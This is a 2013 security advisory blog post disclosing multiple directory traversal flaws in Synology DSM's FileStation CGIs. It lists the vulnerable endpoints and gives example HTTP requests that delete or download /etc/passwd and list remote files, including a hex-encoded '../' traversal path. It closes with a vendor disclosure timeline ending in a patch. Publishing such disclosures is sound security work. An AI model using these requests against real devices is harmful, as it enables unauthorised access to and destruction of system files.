Synology DSM vulnerability

Multiple directory traversal.

Posted by Andrea Fabrizi on December 20, 2013

I’m again here with a Synology DSM vulnerability.

Synology DiskStation Manager (DSM) it’s a Linux based operating system, used for the DiskStation and RackStation products.

I found a lot of directory traversal in the FileBrowser components (DSM version <= 4.3-3810). This kind of vulnerability allows any authenticated user, even if not administrative, to access, create, delete, modify system and configuration files.

The only countermeasure implemented against this vulnerability is to check that the path starts with a valid shared folder, so is enough to put the “../” straight after, to bypass the security check.

Vulnerables CGIs:

  • /webapi/FileStation/html5_upload.cgi
  • /webapi/FileStation/file_delete.cgi
  • /webapi/FileStation/file_download.cgi
  • /webapi/FileStation/file_sharing.cgi
  • /webapi/FileStation/file_share.cgi
  • /webapi/FileStation/file_MVCP.cgi
  • /webapi/FileStation/file_rename.cgi

Not tested all the CGI, but I guess that many others are vulnerable, so don’t take my list as comprehensive.

Following some examples (“test” is a valid folder name):

Delete /etc/passwd

POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Arbitrary file download

GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Connection: keep-alive
Authorization: Basic XXXXXXXX

2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd

Remote file list

POST /webapi/FileStation/file_share.cgi HTTP/1.1
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2



  • 05/12/2013: First contact with the vendor
  • 06/12/2013: Vulnerability details sent to the vendor
  • 20/12/2013: Patch released by the vendor